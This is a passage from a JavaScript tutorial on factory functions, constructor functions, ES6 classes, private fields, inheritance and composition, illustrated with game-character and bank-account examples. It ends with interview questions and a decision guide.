console.log(dragon.takeDamage(100)); // "Dragon has 400 health remaining." ``` ### Factory with Configuration Object For many options, use a configuration object: ```javascript function createCharacter(config) { // Default values const defaults = { name: "Unknown", health: 100, maxHealth: 100, level: 1, experience: 0, attackPower: 10, defense: 5 }; // Merge defaults with provided config const settings = { ...defaults, ...config }; return { ...settings, attack(target) { const damage = Math.max(0, this.attackPower - target.defense); return `${this.name} deals ${damage} damage to ${target.name}!`; }, heal(amount) { this.health = Math.min(this.maxHealth, this.health + amount); return `${this.name} healed to ${this.health} health.`; }, gainExperience(amount) { this.experience += amount; if (this.experience >= this.level * 100) { this.level++; this.experience = 0; this.attackPower += 5; return `${this.name} leveled up to ${this.level}!`; } return `${this.name} gained ${amount} XP.`; } }; } // Create characters with different configurations const warrior = createCharacter({ name: "Warrior", health: 150, maxHealth: 150, attackPower: 20, defense: 10 }); const mage = createCharacter({ name: "Mage", health: 80, maxHealth: 80, attackPower: 30, defense: 3 }); // Only override what you need const villager = createCharacter({ name: "Villager" }); ``` ### Factory with Private Variables (Closures) A powerful feature of factory functions is creating **truly private** variables using [closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures): ```javascript function createBankAccount(ownerName, initialBalance = 0) { // Private variables — NOT accessible from outside let balance = initialBalance; const transactionHistory = []; // Private function function recordTransaction(type, amount) { transactionHistory.push({ type, amount, balance, date: new Date().toISOString() }); } // Initialize recordTransaction("opening", initialBalance); // Return public interface return { owner: ownerName, deposit(amount) { if (amount <= 0) { throw new Error("Deposit amount must be positive"); } balance += amount; recordTransaction("deposit", amount); return `Deposited $${amount}. New balance: $${balance}`; }, withdraw(amount) { if (amount <= 0) { throw new Error("Withdrawal amount must be positive"); } if (amount > balance) { throw new Error("Insufficient funds"); } balance -= amount; recordTransaction("withdrawal", amount); return `Withdrew $${amount}. New balance: $${balance}`; }, getBalance() { return balance; }, getStatement() { return transactionHistory.map(t => `${t.date}: ${t.type} $${t.amount} (Balance: $${t.balance})` ).join('\n'); } }; } const account = createBankAccount("Alice", 1000); console.log(account.deposit(500)); // "Deposited $500. New balance: $1500" console.log(account.withdraw(200)); // "Withdrew $200. New balance: $1300" console.log(account.getBalance()); // 1300 // Trying to access private variables — FAILS! console.log(account.balance); // undefined console.log(account.transactionHistory); // undefined // Can't cheat! account.balance = 1000000; // Does nothing useful console.log(account.getBalance()); // Still 1300 ``` <Tip> **Why is this private?** The variables `balance` and `transactionHistory` exist only inside the factory function. The returned object's methods can access them through **closure**, but nothing outside can. This is true encapsulation! </Tip> ### Factory Creating Different Types Factories can return different object types based on input: ```javascript function createWeapon(type) { const weapons = { sword: { name: "Iron Sword", damage: 25, speed: "medium", attack() { return `Slash with ${this.name} for ${this.damage} damage!`; } }, bow: { name: "Longbow", damage: 20, speed: "fast", range: 100, attack() { return `Fire an arrow for ${this.damage} damage from ${this.range}m away!`; } }, staff: { name: "Magic Staff", damage: 35, speed: "slow", manaCost: 10, attack() { return `Cast a spell for ${this.damage} damage! (Costs ${this.manaCost} mana)`; } } }; if (!weapons[type]) { throw new Error(`Unknown weapon type: ${type}`); } return { ...weapons[type] }; // Return a copy } const sword = createWeapon("sword"); const bow = createWeapon("bow"); const staff = createWeapon("staff"); console.log(sword.attack()); // "Slash with Iron Sword for 25 damage!" console.log(bow.attack()); // "Fire an arrow for 20 damage from 100m away!" console.log(staff.attack()); // "Cast a spell for 35 damage! (Costs 10 mana)" ``` ### When to Use Factory Functions <AccordionGroup> <Accordion title="You need truly private data"> Factory functions with closures provide **real** privacy. Variables inside the factory can't be accessed or modified from outside, not even through hacks or reflection. </Accordion> <Accordion title="You don't need instanceof checks"> Factory-created objects are plain objects. They don't have a special prototype chain, so `instanceof` won't work. If you need to check object types, use classes instead. </Accordion> <Accordion title="You want flexibility over structure"> Factories can return different types of objects, partially constructed objects, or even primitives. Classes always return instances of that class. </Accordion> <Accordion title="You prefer functional programming"> Factory functions fit well with functional programming patterns. They're just functions that return data. </Accordion> </AccordionGroup> --- ## How Do Constructor Functions Work? A **constructor function** is a regular JavaScript function designed to be called with the [`new`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new) keyword. When invoked with `new`, it creates a new object, binds `this` to that object, and returns it automatically. Constructor names conventionally start with a capital letter to distinguish them from regular functions. This was the standard way to create objects before ES6 classes. ### Basic Constructor Function ```javascript // Convention: Constructor names start with a capital letter function Player(name) { // 'this' refers to the new object being created this.name = name; this.health = 100; this.level = 1; this.attack = function() { return `${this.name} attacks for ${10 + this.level * 2} damage!`; }; } // Create instances with 'new' const alice = new Player("Alice"); const bob = new Player("Bob"); console.log(alice.name); // "Alice" console.log(bob.attack()); // "Bob attacks for 12 damage!" console.log(alice instanceof Player); // true ``` ### The `new` Keyword — What It Actually Does When you call `new Player("Alice")`, JavaScript performs **4 steps**: <Steps> <Step title="Create a new empty object"> JavaScript creates a fresh object: `const obj = {}` </Step> <Step title="Link the prototype"> Sets `obj.[[Prototype]]` to `Constructor.prototype`, establishing the prototype chain </Step> <Step title="Execute the constructor"> Runs the constructor with `this` bound to the new object </Step> <Step title="Return the object"> Returns `obj` automatically (unless the constructor explicitly returns a different non-null object; primitive return values are ignored) </Step> </Steps> <Tip> **Want to dive deeper?** For a detailed explanation of how `new` works under the hood, including how to simulate it yourself, see [Object Creation & Prototypes](/concepts/object-creation-prototypes). </Tip> ### Adding Methods to the [Prototype](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes) There's a problem with our constructor: **each instance gets its own copy of methods**: ```javascript function Player(name) { this.name = name; this.health = 100; // BAD: Every player gets their own copy of this function this.attack = function() { return `${this.name} attacks!`; }; } const p1 = new Player("Alice"); const p2 = new Player("Bob"); // These are different functions! console.log(p1.attack === p2.attack); // false // 1000 players = 1000 copies of attack function = wasted memory! ``` The solution is to put methods on the **[prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)**: ```javascript function Player(name) { this.name = name; this.health = 100; // Don't put methods here! } // Add methods to the prototype — shared by all instances Player.prototype.attack = function() { return `${this.name} attacks!`; }; Player.prototype.takeDamage = function(amount) { this.health -= amount; return `${this.name} has ${this.health} health.`; }; const p1 = new Player("Alice"); const p2 = new Player("Bob"); // Now they share the same function! console.log(p1.attack === p2.attack); // true // 1000 players = 1 copy of attack function = efficient! ``` ``` ┌─────────────────────────────────────────────────────────────────────┐ │ PROTOTYPE CHAIN │ │ │ │ Player.prototype │ │ ┌─────────────────────────┐ │ │ │ attack: function() │ │ │ │ takeDamage: function() │◄──── Shared by all instances │ │ └─────────────────────────┘ │ │ ▲ │ │ │ [[Prototype]] │ │ │ │ │ ┌──────────┴──────────┐ │ │ │ │ │ │ ▼ ▼ │ │ ┌─────────┐ ┌─────────┐ │ │ │ p1 │ │ p2 │ │ │ │─────────│ │─────────│ │ │ │name: │ │name: │ │ │ │"Alice" │ │"Bob" │ │ │ │health: │ │health: │ │ │ │100 │ │100 │ │ │ └─────────┘ └─────────┘ │ │ │ │ Each instance has its own data, but shares methods via prototype │ └─────────────────────────────────────────────────────────────────────┘ ``` ### The [`instanceof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof) Operator `instanceof` checks if an object was created by a constructor: ```javascript function Player(name) { this.name = name; } function Enemy(name) { this.name = name; } const alice = new Player("Alice"); const goblin = new Enemy("Goblin"); console.log(alice instanceof Player); // true console.log(alice instanceof Enemy); // false console.log(goblin instanceof Enemy); // true console.log(goblin instanceof Player); // false // Both are instances of Object console.log(alice instanceof Object); // true console.log(goblin instanceof Object); // true ``` ### The Problem: Forgetting `new` ```javascript function Player(name) { this.name = name; this.health = 100; } // Oops! Forgot 'new' const alice = Player("Alice"); console.log(alice); // undefined (function returned nothing) console.log(name); // "Alice" — LEAKED to global scope! console.log(health); // 100 — ALSO leaked! // In strict mode, this would throw an error instead // 'use strict'; // Player("Alice"); // TypeError: Cannot set property 'name' of undefined ``` <Warning> Always use `new` with constructor functions! Without it, `this` refers to the global object (or `undefined` in strict mode), causing bugs that are hard to track down. </Warning> --- ## What Are ES6 Classes in JavaScript? An **[ES6 class](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)** is JavaScript's modern syntax for creating constructor functions and prototypes. Introduced in ECMAScript 2015, classes provide a cleaner, more familiar syntax for object-oriented programming while working exactly the same as constructor functions under the hood. They're often called "syntactic sugar." Classes use the `class` keyword and require the `new` operator to create instances. ### Basic Class Syntax ```javascript class Player { constructor(name) { this.name = name; this.health = 100; this.level = 1; } attack() { return `${this.name} attacks for ${10 + this.level * 2} damage!`; } takeDamage(amount) { this.health -= amount; if (this.health <= 0) { return `${this.name} has been defeated!`; } return `${this.name} has ${this.health} health remaining.`; } } const alice = new Player("Alice"); console.log(alice.attack()); // "Alice attacks for 12 damage!" console.log(alice instanceof Player); // true ``` ### Classes Are "Syntactic Sugar" Classes don't add new functionality. They're just a nicer way to write constructor functions. Under the hood, they work exactly the same: <Tabs> <Tab title="ES6 Class"> ```javascript class Enemy { constructor(name, health) { this.name = name; this.health = health; } attack() { return `${this.name} attacks!`; } static createBoss(name) { return new Enemy(name, 1000); } } ``` </Tab> <Tab title="Equivalent ES5"> ```javascript function Enemy(name, health) { this.name = name; this.health = health; } Enemy.prototype.attack = function() { return `${this.name} attacks!`; }; Enemy.createBoss = function(name) { return new Enemy(name, 1000); }; ``` </Tab> </Tabs> Both create objects with the same structure: ```javascript // Both versions produce: const goblin = new Enemy("Goblin", 100); console.log(typeof Enemy); // "function" (classes ARE functions!) console.log(goblin.constructor === Enemy); // true console.log(goblin.__proto__ === Enemy.prototype); // true ``` ### Class Syntax Breakdown ```javascript class Character { // Class field (public property with default value) level = 1; experience = 0; // Constructor — called when you use 'new' constructor(name, health = 100) { this.name = name; this.health = health; } // Instance method — available on all instances attack() { return `${this.name} attacks!`; } // Another instance method heal(amount) { this.health += amount; return `${this.name} healed to ${this.health} HP.`; } // Getter — accessed like a property get isAlive() { return this.health > 0; } // Setter — assigned like a property set healthPoints(value) { this.health = Math.max(0, value); // Can't go below 0 } // Static method — called on the class, not instances static createHero(name) { return new Character(name, 150); } // Static property static MAX_LEVEL = 99; } // Usage const hero = Character.createHero("Alice"); // Static method console.log(hero.attack()); // Instance method console.log(hero.isAlive); // Getter (no parentheses!) hero.healthPoints = -50; // Setter console.log(hero.health); // 0 (setter prevented negative) console.log(Character.MAX_LEVEL); // 99 (static property) ``` ### [Static](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/static) Methods and Properties **Static** members belong to the class itself, not to instances: ```javascript class MathUtils { // Static properties static PI = 3.14159; static E = 2.71828; // Static methods static square(x) { return x * x; } static cube(x) { return x * x * x; } static randomBetween(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } } // Access via class name console.log(MathUtils.PI); // 3.14159 console.log(MathUtils.square(5)); // 25 // NOT via instances! const utils = new MathUtils(); console.log(utils.PI); // undefined console.log(utils.square); // undefined ``` **Common uses for static methods:** - Factory methods (`User.fromJSON(data)`) - Utility functions (`Array.isArray(value)`) - Singleton patterns (`Config.getInstance()`) ### [Getters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get) and [Setters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set) Getters and setters let you define computed properties and add validation: ```javascript class Temperature { constructor(celsius) { this._celsius = celsius; // Convention: underscore = "private" } // Getter: accessed like a property get celsius() { return this._celsius; } // Setter: assigned like a property set celsius(value) { if (value < -273.15) { throw new Error("Temperature below absolute zero!"); } this._celsius = value; } // Computed getter: fahrenheit from celsius get fahrenheit() { return this._celsius * 9/5 + 32; } // Computed setter: set celsius from fahrenheit set fahrenheit(value) { this.celsius = (value - 32) * 5/9; // Uses celsius setter for validation } // Read-only getter (no setter) get kelvin() { return this._celsius + 273.15; } } const temp = new Temperature(25); console.log(temp.celsius); // 25 console.log(temp.fahrenheit); // 77 console.log(temp.kelvin); // 298.15 temp.fahrenheit = 100; // Set via fahrenheit console.log(temp.celsius); // ~37.78 (converted) // temp.celsius = -300; // Error: Temperature below absolute zero! // temp.kelvin = 0; // Error: no setter (read-only) ``` ### [Private Fields (#)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Private_class_fields) — True Privacy ES2020 introduced **private fields** with the `#` prefix. Unlike the `_underscore` convention, these are **truly private**: ```javascript class BankAccount { // Private fields — declared with # #balance = 0; #pin; #transactionHistory = []; constructor(ownerName, initialBalance, pin) { this.ownerName = ownerName; // Public this.#balance = initialBalance; this.#pin = pin; } // Private method #recordTransaction(type, amount) { this.#transactionHistory.push({ type, amount, balance: this.#balance, date: new Date() }); } // Private method for PIN verification #verifyPin(pin) { return this.#pin === pin; } // Public methods deposit(amount) { if (amount <= 0) throw new Error("Invalid amount"); this.#balance += amount; this.#recordTransaction("deposit", amount); return this.#balance; } withdraw(amount, pin) { if (!this.#verifyPin(pin)) { throw new Error("Invalid PIN"); } if (amount > this.#balance) { throw new Error("Insufficient funds"); } this.#balance -= amount; this.#recordTransaction("withdrawal", amount); return this.#balance; } getBalance(pin) { if (!this.#verifyPin(pin)) { throw new Error("Invalid PIN"); } return this.#balance; } } const account = new BankAccount("Alice", 1000, "1234"); account.deposit(500); console.log(account.withdraw(200, "1234")); // 1300 console.log(account.getBalance("1234")); // 1300 // Trying to access private fields — ALL FAIL // account.#balance; // SyntaxError! // account.#pin; // SyntaxError! // account.#verifyPin("1234"); // SyntaxError! console.log(account.balance); // undefined (different property) ``` ### Private Fields (#) vs Closure-Based Privacy Both provide true privacy, but they work differently: | Feature | Private Fields (#) | Closures (Factory) | |---------|-------------------|-------------------| | Syntax | `this.#field` | `let variable` inside function | | Access error | SyntaxError | Returns `undefined` | | Memory | Efficient (prototype methods) | Each instance has own methods | | `instanceof` | Works | Doesn't work | | Inheritance | Private per class | Not inherited | | Debugger visibility | Visible but inaccessible | Visible in closure scope | ```javascript // Private Fields (#) class Wallet { #balance = 0; deposit(amount) { this.#balance += amount; } getBalance() { return this.#balance; } } const w1 = new Wallet(); const w2 = new Wallet(); console.log(w1.deposit === w2.deposit); // true (shared via prototype) // Closure-based (Factory) function createWallet() { let balance = 0; return { deposit(amount) { balance += amount; }, getBalance() { return balance; } }; } const w3 = createWallet(); const w4 = createWallet(); console.log(w3.deposit === w4.deposit); // false (each has own copy) ``` --- ## Common Mistakes with Factories and Classes When working with factories and classes, there are several common pitfalls that trip up developers. Let's look at the most frequent mistakes and how to avoid them. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE 3 MOST COMMON MISTAKES │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. FORGETTING `new` WITH CONSTRUCTORS │ │ Pollutes global scope or crashes in strict mode │ │ │ │ 2. FORGETTING `super()` IN DERIVED CLASSES │ │ Must call super() before using `this` │ │ │ │ 3. CONFUSING `_private` WITH TRULY PRIVATE │ │ Underscore is just a convention, not enforcement │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Mistake 1: Forgetting `new` with Constructor Functions ```javascript // ❌ WRONG - Forgot 'new', 'this' becomes global object function Player(name) { this.name = name; this.health = 100; } const alice = Player("Alice"); // Missing 'new'! console.log(alice); // undefined console.log(globalThis.name); // "Alice" - leaked to global! console.log(globalThis.health); // 100 - also leaked! // ✓ CORRECT - Always use 'new' with constructors const bob = new Player("Bob"); console.log(bob.name); // "Bob" console.log(bob.health); // 100 ``` <Tip> **Pro tip:** Use ES6 classes instead of constructor functions — they throw an error if you forget `new`: ```javascript class Player { constructor(name) { this.name = name; } } const alice = Player("Alice"); // TypeError: Class constructor Player cannot be invoked without 'new' ``` </Tip> ### Mistake 2: Forgetting `super()` in Derived Classes ```javascript // ❌ WRONG - Using 'this' before calling super() class Animal { constructor(name) { this.name = name; } } class Dog extends Animal { constructor(name, breed) { this.breed = breed; // ReferenceError: Must call super before accessing 'this' super(name); } } // ✓ CORRECT - Call super() first, then use 'this' class Cat extends Animal { constructor(name, color) { super(name); // Initialize parent first this.color = color; // Now 'this' is available } } const kitty = new Cat("Whiskers", "orange"); console.log(kitty.name); // "Whiskers" console.log(kitty.color); // "orange" ``` ### Mistake 3: Thinking `_underscore` Means Private ```javascript // ❌ WRONG - Underscore is just a naming convention class BankAccount { constructor(balance) { this._balance = balance; // Not actually private! } getBalance() { return this._balance; } } const account = new BankAccount(1000); console.log(account._balance); // 1000 - fully accessible! account._balance = 999999; // Can be modified! console.log(account.getBalance()); // 999999 - no protection! // ✓ CORRECT - Use private fields (#) for true privacy class SecureBankAccount { #balance; // Truly private constructor(balance) { this.#balance = balance; } getBalance() { return this.#balance; } } const secure = new SecureBankAccount(1000); // console.log(secure.#balance); // SyntaxError! console.log(secure.getBalance()); // 1000 - only accessible via methods ``` ### Mistake 4: Using `this` Incorrectly in Factory Functions ```javascript // ❌ WRONG - 'this' in factory return object can cause issues function createCounter() { return { count: 0, increment() { this.count++; // 'this' depends on how the method is called } }; } const counter = createCounter(); counter.increment(); // Works console.log(counter.count); // 1 const increment = counter.increment; increment(); // 'this' is undefined or global! console.log(counter.count); // Still 1 - didn't work! // ✓ CORRECT - Use closure to avoid 'this' issues function createSafeCounter() { let count = 0; // Closure variable return { increment() { count++; // No 'this' needed }, getCount() { return count; } }; } const safeCounter = createSafeCounter(); const safeIncrement = safeCounter.increment; safeIncrement(); // Works even when extracted! console.log(safeCounter.getCount()); // 1 ``` <Warning> **The `this` Trap:** When you extract a method from an object and call it standalone, `this` is no longer bound to the original object. Factory functions that use closures instead of `this` avoid this problem entirely. </Warning> <Tip> **Arrow Function Class Fields:** In classes, you can use arrow functions as class fields to auto-bind `this`: ```javascript class Button { count = 0; // Arrow function automatically binds 'this' to the instance handleClick = () => { this.count++; console.log(`Clicked ${this.count} times`); }; } const button = new Button(); const handler = button.handleClick; handler(); // Works! 'this' is still bound to button ``` This is an alternative to manually binding methods with `.bind(this)` in the constructor. </Tip> --- ## Classic Interview Questions <AccordionGroup> <Accordion title="What's the difference between a factory function and a class?"> **Answer:** | Aspect | Factory Function | ES6 Class | |--------|-----------------|-----------| | Syntax | Regular function returning object | `class` keyword | | `new` keyword | Not required | Required | | `instanceof` | Doesn't work | Works | | Privacy | Closures (truly private) | Private fields `#` (truly private) | | Memory | Each instance has own methods | Methods shared via prototype | | `this` binding | Can avoid `this` entirely | Must use `this` | ```javascript // Factory - just a function function createUser(name) { return { name, greet() { return `Hi, ${name}!` } } } // Class - a blueprint class User { constructor(name) { this.name = name } greet() { return `Hi, ${this.name}!` } } const u1 = createUser("Alice") // No 'new' const u2 = new User("Bob") // Requires 'new' ``` **Best answer:** Explain both syntax differences AND when to use each. </Accordion> <Accordion title="What does the new keyword do under the hood?"> **Answer:** `new` performs 4 steps: 1. **Creates** a new empty object `{}` 2. **Links** its prototype to `Constructor.prototype` 3. **Executes** the constructor with `this` bound to the new object 4. **Returns** the object (unless constructor returns a different object) ```javascript // This is essentially what 'new' does: function myNew(Constructor, ...args) { const obj = Object.create(Constructor.prototype) const result = Constructor.apply(obj, args) return (typeof result === 'object' && result !== null) ? result : obj } ``` **Best answer:** Mention all 4 steps and show the simulation code. </Accordion> <Accordion title="How do you achieve true privacy in JavaScript?"> **Answer:** Two ways to achieve **true** privacy: **1. Private Fields (`#`) in Classes:** ```javascript class BankAccount { #balance = 0 deposit(amt) { this.#balance += amt } getBalance() { return this.#balance } } // account.#balance → SyntaxError! ``` **2. Closures in Factory Functions:** ```javascript function createBankAccount() { let balance = 0 return { deposit(amt) { balance += amt }, getBalance() { return balance } } } // account.balance → undefined ``` **Not truly private:** The `_underscore` convention is just a naming hint. Those properties are fully accessible. **Best answer:** Distinguish between the `_underscore` convention (not private) and the two truly private approaches. </Accordion> <Accordion title="When would you use composition over inheritance?"> **Answer:** Use **composition** when: - You need to mix behaviors from multiple sources (a flying fish, a swimming bird) - The "is-a" relationship doesn't make sense - You want loose coupling between components - You need flexibility to change behaviors at runtime Use **inheritance** when: - There's a clear "is-a" hierarchy (Dog is an Animal) - You need `instanceof` checks - You want to share implementation, not just interface ```javascript // Inheritance problem: What about a penguin that can't fly? class Bird { fly() {} } class Penguin extends Bird { fly() { throw Error("Can't fly!") } } // Awkward! // Composition solution: Mix behaviors const canSwim = (state) => ({ swim() { /*...*/ } }) const canWalk = (state) => ({ walk() { /*...*/ } }) function createPenguin(name) { const state = { name } return { ...canSwim(state), ...canWalk(state) } // No fly! } ``` **Best answer:** Give the "Gorilla-Banana" problem example and show composition code. </Accordion> </AccordionGroup> --- ## Common Misconceptions <AccordionGroup> <Accordion title="Misconception: 'Classes in JavaScript work like classes in Java or C#'"> **Reality:** JavaScript classes are **syntactic sugar** over prototypes. Under the hood, they still use prototype-based inheritance, not classical inheritance. ```javascript class Player { constructor(name) { this.name = name } attack() { return `${this.name} attacks!` } } // Classes ARE functions! console.log(typeof Player) // "function" // Methods are on the prototype, not the instance console.log(Player.prototype.attack) // [Function: attack] ``` This is why JavaScript has quirks like `this` binding issues that don't exist in true class-based languages. </Accordion> <Accordion title="Misconception: 'Factory functions are less powerful than classes'"> **Reality:** Factory functions can do everything classes can, plus more: - **True privacy** via closures (before `#` existed) - **No `this` binding issues** when using closures - **Return different types** based on input - **No `new` keyword** to forget ```javascript // Factory can return different types! function createShape(type) { if (type === 'circle') return { radius: 10, area() { /*...*/ } } if (type === 'square') return { side: 10, area() { /*...*/ } } } // Classes always return instances of that class ``` The trade-off is memory efficiency (classes share methods via prototype). </Accordion> <Accordion title="Misconception: 'Private fields (#) and _underscore are the same thing'"> **Reality:** They're completely different: | Aspect | `_underscore` | `#privateField` | |--------|---------------|-----------------| | Accessibility | Fully public | Truly private | | Convention only? | Yes | No, enforced | | Error on access | No error | SyntaxError | ```javascript class Account { _balance = 100 // Accessible! Just a convention #pin = 1234 // Truly private } const acc = new Account() console.log(acc._balance) // 100 — works! // console.log(acc.#pin) // SyntaxError! ``` </Accordion> <Accordion title="Misconception: 'You should always use classes because they're the modern way'"> **Reality:** Classes were added in ES6 (2015), but that doesn't mean they're always better. The JavaScript community has moved **toward** functions in many cases: - **React:** Moved from class components to function components with hooks - **Functional programming:** Favors factory functions and composition - **Simplicity:** Factory functions have fewer footguns (`this`, `new`) **Use classes when:** You need `instanceof`, clear hierarchies, or OOP familiarity. **Use factories when:** You need composition, true privacy, or functional style. </Accordion> </AccordionGroup> --- ## How Does Inheritance Work in JavaScript? ### Class Inheritance with [`extends`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/extends) Use `extends` to create a class that inherits from another: ```javascript // Base class (parent) class Character { constructor(name, health) { this.name = name; this.health = health; } attack() { return `${this.name} attacks!`; } takeDamage(amount) { this.health -= amount; return `${this.name} has ${this.health} HP left.`; } isAlive() { return this.health > 0; } } // Derived class (child) class Warrior extends Character { constructor(name) { super(name, 150); // Call parent constructor this.armor = 20; // Add new property } // Override parent method takeDamage(amount) { const reduced = Math.max(0, amount - this.armor); return super.takeDamage(reduced); // Call parent method } // New method only for Warriors shieldBash() { return `${this.name} bashes with shield for ${this.armor} damage!`; } } // Another derived class class Mage extends Character { constructor(name) { super(name, 80); // Mages have less health this.mana = 100; } // Override with different behavior attack() { if (this.mana >= 10) { this.mana -= 10; return `${this.name} casts fireball for 50 damage! (Mana: ${this.mana})`; } return `${this.name} is out of mana! Basic attack for 5 damage.`; } meditate() { this.mana = Math.min(100, this.mana + 30); return `${this.name} meditates. Mana: ${this.mana}`; } } // Usage const conan = new Warrior("Conan"); const gandalf = new Mage("Gandalf"); console.log(conan.attack()); // "Conan attacks!" console.log(conan.takeDamage(30)); // "Conan has 140 HP left." (reduced by armor) console.log(conan.shieldBash()); // "Conan bashes with shield for 20 damage!" console.log(gandalf.attack()); // "Gandalf casts fireball for 50 damage! (Mana: 90)" console.log(gandalf.meditate()); // "Gandalf meditates. Mana: 100" // instanceof works through the chain console.log(conan instanceof Warrior); // true console.log(conan instanceof Character); // true console.log(gandalf instanceof Mage); // true console.log(gandalf instanceof Warrior); // false ``` ### The [`super`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/super) Keyword `super` does two things: 1. **In constructor:** Calls the parent's constructor (`super(...)`) 2. **In methods:** Accesses parent's methods (`super.method()`) ```javascript class Animal { constructor(name) { this.name = name; } speak() { return `${this.name} makes a sound.`; } } class Dog extends Animal { constructor(name, breed) { // MUST call super() before using 'this' in derived class super(name); // Calls Animal's constructor this.breed = breed; } speak() { // Call parent method and add to it const parentSays = super.speak(); return `${parentSays} Specifically: Woof!`; } } const rex = new Dog("Rex", "German Shepherd"); console.log(rex.speak()); // "Rex makes a sound. Specifically: Woof!" ``` <Warning> **In a derived class constructor, you MUST call `super()` before using `this`.** JavaScript needs to initialize the parent part of the object first. ```javascript class Child extends Parent { constructor(name) { // this.name = name; // ERROR! Can't use 'this' yet super(); // Must call super first this.name = name; // Now 'this' is available } } ``` </Warning> ### The Problem with Deep Inheritance Inheritance can become problematic with deep hierarchies: ```javascript // The "Gorilla-Banana Problem" class Animal { } class Mammal extends Animal { } class Primate extends Mammal { } class Ape extends Primate { } class Gorilla extends Ape { } // You wanted a banana, but you got the whole jungle! // - Deep chains are hard to understand // - Changes to parent classes can break children // - Tight coupling between classes ``` ### Factory Composition — A Flexible Alternative Instead of inheritance ("is-a"), use composition ("has-a"): ```javascript // Define behaviors as small, focused functions const canWalk = (state) => ({ walk() { state.position += state.speed; return `${state.name} walks to position ${state.position}`; } }); const canSwim = (state) => ({ swim() { state.position += state.speed * 1.5; return `${state.name} swims to position ${state.position}`; } }); const canFly = (state) => ({ fly() { state.position += state.speed * 3; return `${state.name} flies to position ${state.position}`; } }); const canSpeak = (state) => ({ speak(message) { return `${state.name} says: "${message}"`; } }); // Compose characters by mixing behaviors function createDuck(name) { const state = { name, position: 0, speed: 2 }; return { name: state.name, ...canWalk(state), ...canSwim(state), ...canFly(state), ...canSpeak(state), getPosition: () => state.position }; } function createPenguin(name) { const state = { name, position: 0, speed: 1 }; return { name: state.name, ...canWalk(state), ...canSwim(state), // No canFly! Penguins can't fly ...canSpeak(state), getPosition: () => state.position }; } function createFish(name) { const state = { name, position: 0, speed: 4 }; return { name: state.name, ...canSwim(state), // Fish can only swim getPosition: () => state.position }; } // Usage const donald = createDuck("Donald"); donald.walk(); // "Donald walks to position 2" donald.swim(); // "Donald swims to position 5" donald.fly(); // "Donald flies to position 11" donald.speak("Quack!"); // 'Donald says: "Quack!"' const tux = createPenguin("Tux"); tux.walk(); // Works tux.swim(); // Works // tux.fly(); // TypeError: tux.fly is not a function const nemo = createFish("Nemo"); nemo.swim(); // Works // nemo.walk(); // TypeError: nemo.walk is not a function // nemo.fly(); // TypeError: nemo.fly is not a function ``` ### Inheritance vs Composition ``` ┌─────────────────────────────────────────────────────────────────────┐ │ INHERITANCE (is-a) │ │ │ │ Animal Problem: What about flying fish? │ │ │ What about penguins that can't fly? │ │ ├── Bird (can fly) What about bats (mammals that fly)? │ │ │ └── Penguin ??? │ │ ├── Fish (can swim) You end up with awkward hierarchies │ │ │ └── FlyingFish ??? or lots of override methods. │ │ └── Mammal │ │ └── Bat ??? │ └─────────────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────────────┐ │ COMPOSITION (has-a) │ │ │ │ Behaviors: Characters: │ │ ┌─────────┐ ┌───────────────────────────────────────┐ │ │ │ canWalk │─────────│ Duck = canWalk + canSwim + canFly │ │ │ └─────────┘ │ Penguin = canWalk + canSwim │ │ │ ┌─────────┐ │ Fish = canSwim │ │ │ │ canSwim │─────────│ FlyingFish = canSwim + canFly │ │ │ └─────────┘ │ Bat = canWalk + canFly │ │ │ ┌─────────┐ └───────────────────────────────────────┘ │ │ │ canFly │ │ │ └─────────┘ Mix and match any combination! │ └─────────────────────────────────────────────────────────────────────┘ ``` | Aspect | Inheritance | Composition | |--------|-------------|-------------| | Relationship | "is-a" (Dog is an Animal) | "has-a" (Duck has flying ability) | | Flexibility | Rigid hierarchy | Mix and match behaviors | | Reuse | Through parent chain | Through behavior functions | | Coupling | Tight (child depends on parent) | Loose (behaviors are independent) | | Testing | Harder (need parent context) | Easier (test behaviors in isolation) | | Best for | Clear hierarchies, `instanceof` needed | Flexible combinations, multiple behaviors | --- ## Factory vs Class — Which Should You Use? ### Side-by-Side Comparison | Feature | Factory Function | ES6 Class | |---------|-----------------|-----------| | **Syntax** | Regular function | `class` keyword | | **`new` keyword** | Not needed | Required | | **`instanceof`** | Doesn't work | Works | | **True privacy** | Closures | Private fields (#) | | **Memory efficiency** | Each instance has own methods | Methods shared via prototype | | **`this` binding** | Can avoid `this` with closures | Must be careful with `this` | | **Inheritance** | Composition (flexible) | `extends` (hierarchical) | | **Familiarity** | Functional style | OOP style (familiar to Java/C# devs) | ### When to Use Factory Functions <CardGroup cols={2}> <Card title="Need true privacy" icon="lock"> Closure-based privacy can't be circumvented </Card> <Card title="No instanceof needed" icon="ban"> You don't need to check object types </Card> <Card title="Composition over inheritance" icon="puzzle-piece"> Mix and match behaviors flexibly </Card> <Card title="Functional programming style" icon="code"> Fits well with functional patterns </Card> </CardGroup> ### When to Use Classes <CardGroup cols={2}> <Card title="Need instanceof" icon="check"> Type checking at runtime </Card> <Card title="Clear hierarchies" icon="sitemap"> When "is-a" relationships make sense </Card> <Card title="Team familiarity" icon="users"> Team knows OOP from other languages </Card> <Card title="Framework requirements" icon="cubes"> React components, Angular services, etc. </Card> </CardGroup> ### Decision Guide ``` ┌─────────────────────────────────────────────────────────────────────┐ │ WHICH SHOULD I USE? │ │ │ │ Do you need instanceof checks? │ │ YES ──► Use Class │ │ NO ──▼ │ │ │ │ Do you need a clear inheritance hierarchy? │ │ YES 